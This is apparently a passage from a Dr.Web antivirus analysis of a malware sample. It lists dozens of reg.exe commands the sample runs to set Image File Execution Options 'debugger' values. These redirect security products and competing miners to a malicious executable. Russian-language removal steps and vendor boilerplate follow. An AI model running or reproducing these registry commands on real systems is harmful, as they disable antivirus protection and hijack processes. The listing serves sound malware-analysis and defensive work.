  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmdjmg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rkfree.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdisk.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTimeService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gcclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wnhelp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiapsvr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Photo.scr" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\javal.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hostdl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ITbrain_AntiMalware_Service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Defender.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\volumedisk.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DeskLock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wahiver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccsce.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\starter_avp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeCP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnchosts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prkiller.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rebel Botnet.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Drop Box Update.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSSysCtl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-aes-sse42.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mineos.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitmanPro x64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smsss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchoct.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Intelme.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClearLock.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsynchost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows nt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\storectrl.dll" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xDedicLogCleaner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSP.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client Server Runtime Procces.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HS_Svc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\find.exe' "pomadachashin.exe"
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SQLSystem.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esif.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_dp_com.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\seth.exe" /v "debugger" /t REG_SZ /d "drmsvc.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\praetorian.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 3
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBSRService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsmon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zlclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nusb3mon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd_cp_fr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.Systray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcLi.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.ServiceHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\op_mon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javagroup.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winpoint.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWIdlMon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWCtlSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASP.NET.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssas.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TIASPN~1.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hpssmhd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setap_c.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nheqminer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f

Рекомендации по лечению

  1. В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
  2. Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру

Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке

Российский разработчик антивирусов Dr.Web
Опыт разработки с 1992 года
Dr.Web пользуются в 200+ странах мира
Dr.Web в Реестре Отечественного ПО
Более 71% дохода компании — продажи бизнес-клиентам
Круглосуточная поддержка на русском языке

Dr.Web © «Доктор Веб»
2003 — 2020

«Доктор Веб» — российский производитель антивирусных средств защиты информации под маркой Dr.Web. Продукты Dr.Web разрабатываются с 1992 года.

125040, Россия, Москва, 3-я улица Ямского поля, вл.2, корп.12А

Обработка ПД